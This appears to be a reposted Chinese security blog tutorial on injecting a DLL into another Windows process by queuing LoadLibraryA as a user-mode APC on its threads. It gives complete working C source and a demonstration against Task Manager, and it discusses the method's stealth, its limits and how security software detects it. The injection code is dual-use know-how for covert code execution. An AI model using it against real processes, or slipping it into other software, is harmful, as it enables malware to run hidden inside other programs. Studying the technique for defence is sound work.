文章总结: 本文介绍了利用WindowsAPC机制实现DLL注入的技术原理与代码实现。该方法通过将LoadLibrary排队至目标线程APC队列,利用线程Alertable状态执行,具备无需创建新线程的隐蔽优势。实验验证了注入效果,同时指出了该技术依赖线程状态导致注入失败及易被现代安全软件检测的局限性。 综合评分: 88 文章分类: 红队,渗透测试,免杀,二进制安全
通过 APC 把 DLL 注入到指定进程
原创
MyStackTrace
MyStackTrace
2025年12月7日 23:21 上海
在前面 Windows APC 介绍一文中我们介绍了 APC(Asynchronous Procedure Calls)的用法,这是 Windows 操作系统中一种非常重要且高效的异步机制,APC 允许在特定线程的上下文中异步执行用户模式或内核模式的代码。从直观效果上看,APC 机制像是把一段代码“注入”到另一个线程的上下文中执行,但这里的“注入”是操作系统内核提供的合法机制,而不是黑客行为,因此属于受控的代码注入。既然提到代码“注入”,很容易让我们想到 DLL 注入,这两种行为的逻辑其实很像,事实上我们也确实可以利用 APC 来进行 DLL 注入。
在前面通过 DLL 注入实现对指定窗口反截屏一文中我们是通过 CreateRemoteThread 函数在指定进程中创建一个线程,并且使用这个线程加载要注入的 DLL,但是使用这种方式注入 DLL 的行为目标比较大,需要在目标进程中创建一个线程,相比之下,使用 APC 注入 DLL 的行为比较隐蔽,不需要在目标进程中创建新线程,可以复用现有线程,并且注入 DLL 的代码在目标线程上下文中自然执行,看起来比较优雅🤭。
使用 APC 注入 DLL 的思路如下:首先我们要创建一个 APC,这个 APC 的执行函数为 LoadLibrary,参数是要注入的 DLL 的路径,只不过这个路径所在的内存需要是目标进程中的内存(远程内存),因为这个 APC 需要在目标进程中执行,它的参数也必须是目标进程中的内存。有了 APC 之后,我们打开目标进程中的每个线程,把 APC 插进这些线程的 APC 队列中,最后我们只需要等待这些线程进入 Alertable 状态,只要有一个线程进入 Alertable 状态,这个 APC 就会执行,并且将 DLL 注入到目标进程中。
不说废话了,我们来看看例子代码。前面一部分代码和之前写的类似,都是先根据 PID 打开目标进程(OpenProcess),然后在目标进程中分配一块内存(VirtualAllocEx),存储 DLL 的路径(WriteProcessMemory)。接下来找到函数 LoadLibraryA 的地址(GetModuleHandleA + GetProcAddress),这个函数地址后面会作为 APC 的执行函数,DLL 路径也会作为 APC 执行函数的参数。
#include <Windows.h>#include <tlhelp32.h>#include <stdio.h>
int main(int argc, char *argv[]){ int ret = 0; unsigned long pid = 0; HANDLE hProcess = NULL; HANDLE hThreadSnap = NULL; HANDLE hThread = NULL; THREADENTRY32 te32; HMODULE hModule= NULL; LPVOID remoteBuffer = NULL; char *dllPath = NULL;
if (argc < 3) { printf("Usage: InjectDllByAPC <PID> <DllPath>\n"); goto exit; }
pid = strtoul(argv[1], NULL, 0); dllPath = argv[2];
// 打开目标进程 hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pid ); if (hProcess == NULL) { printf("OpenProcess failed, error: %u\n", GetLastError()); ret = -1; goto exit; }
// 在目标进程中分配一块存储 DLL 路径的内存 remoteBuffer = VirtualAllocEx( hProcess, NULL, strlen(dllPath) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ); if (remoteBuffer == NULL) { printf("VirtualAllocEx failed, error: %u\n", GetLastError()); ret = -1; goto exit; }
// 把 DLL 路径存储到目标进程的内存中 if (!WriteProcessMemory( hProcess, remoteBuffer, dllPath, strlen(dllPath) + 1, NULL) ) { printf("WriteProcessMemory failed, error: %u\n", GetLastError()); ret = -1; goto exit; }
// 打开 Kernel32.dll 模块 hModule = GetModuleHandleA("kernel32.dll"); if (hModule == NULL) { printf("GetModuleHandleA failed, error: %u\n", GetLastError()); ret = -1; goto exit; }
// 在 Kernel32.dll 模块中找到 LoadLibraryA 函数的地址, // 这个函数的地址在所有进程中都一样,因此我们可以放心的在 // 目标进程中使用这个函数地址 LPTHREAD_START_ROUTINE loadDll = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryA"); if (loadDll == NULL) { printf("GetProcAddress failed, error: %u\n", GetLastError()); ret = -1; goto exit; }
// 获取当前系统中所有线程的快照 hThreadSnap = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 ); if (hThreadSnap == INVALID_HANDLE_VALUE) { printf("CreateToolhelp32Snapshot failed, error: %u\n", GetLastError()); ret = -1; goto exit; }
// 从线程快照中找到第一个线程 te32.dwSize = sizeof(THREADENTRY32); if (!Thread32First(hThreadSnap, &te32)) { printf("can't find thread, error: %u\n", GetLastError()); ret = -1; goto exit; }
// 下面的 do while 循环就是遍历快照中的所有线程,把进程 ID 等于 // 目标进程 ID 的线程过滤出来,然后把 APC 注入到这些线程中。 do { // 根据进程 ID 过滤出目标线程 if (te32.th32OwnerProcessID != pid) { continue; }
printf("find thread (tid: %u) on process (pid: %u)\n", te32.th32ThreadID, pid); // 打开目标线程,获取线程句柄 hThread = OpenThread( THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME, FALSE, te32.th32ThreadID ); if (hThread == NULL) { printf("OpenThread failed, error: %u\n", GetLastError()); continue; }
// 将 APC 注入到目标线程中,APC 执行函数为 LoadLibraryA // 函数的地址,参数为存放 DLL 路径的远程缓冲区地址。 QueueUserAPC( (PAPCFUNC)loadDll, hThread, (ULONG_PTR)remoteBuffer );
CloseHandle(hThread); } while (Thread32Next(hThreadSnap, &te32));
exit: if (hThreadSnap) { CloseHandle(hThreadSnap); }
if (remoteBuffer) { VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE); }
if (hProcess) { CloseHandle(hProcess); }
return ret;}
准备好 APC 的执行函数和参数之后,接下来就是要遍历目标进程中的所有线程了,我们可以通过 CreateToolhelp32Snapshot 函数获取当前系统中所有线程(通过参数 TH32CS_SNAPTHREAD)的快照,然后过滤出进程 ID 为目标进程 ID 的线程,最后逐个打开这些线程,并使用函数 QueueUserAPC 把这个 APC 注入到这些线程中,剩下的事就是期待这些线程能够进入 Alertable 状态了,一旦某个线程进入了 Alertable 状态,这个 APC 就会被执行,DLL 也就会被注入到目标进程中。
程序就是这么简单,下面看看运行效果。这是把之前写的反截屏的 DLL 注入到 Windows 任务管理器中的效果。
运行完上面的程序之后,我们通过 ProcessExplorer 工具查看任务管理器进程中加载的 DLL,可以发现这个 DLL 已经被成功地注入了,这就说明在我们注入 APC 之后,任务管理器中的某个线程进入过 Alertable 状态,把注入 DLL 的 APC 给执行了。
使用 APC 来注入 DLL 这种方法其实有个局限性,那就是得依赖目标进程中的线程进入 Alertable 状态,这就依赖目标进程所运行的程序的实现了。所以对于那些没有线程可以进入 Alertable 状态的程序,这种方法就不管用了,比如下面这个例子,我们尝试通过 APC 把 DLL 注入到一个执行死循环的进程中。
但是通过 ProcessExplorer 工具,我们是看不到该进程中加载了我们要注入的 DLL,因为在这个死循环中我们并没有执行可以让线程进入 Alertable 状态的操作。
通过上面的实验,我们可以发现虽然通过 APC 注入 DLL 具有隐蔽性好,无额外线程开销等优点,但是它的局限性也是很明显的,它依赖线程的状态,需要线程能够进入 Alertable 状态。APC 注入 DLL 在某些历史时期和特定场景下确实有优势,但在现代安全环境下,其优势已大大减弱。它曾经比 CreateRemoteThread 更隐蔽,但现在主流安全软件都能对其进行有效的检测。不过,从技术研究角度,理解 APC 注入有助于深入掌握 Windows 系统机制、进程间通信和安全防护原理。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:MyStackTrace MyStackTrace《通过 APC 把 DLL 注入到指定进程》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论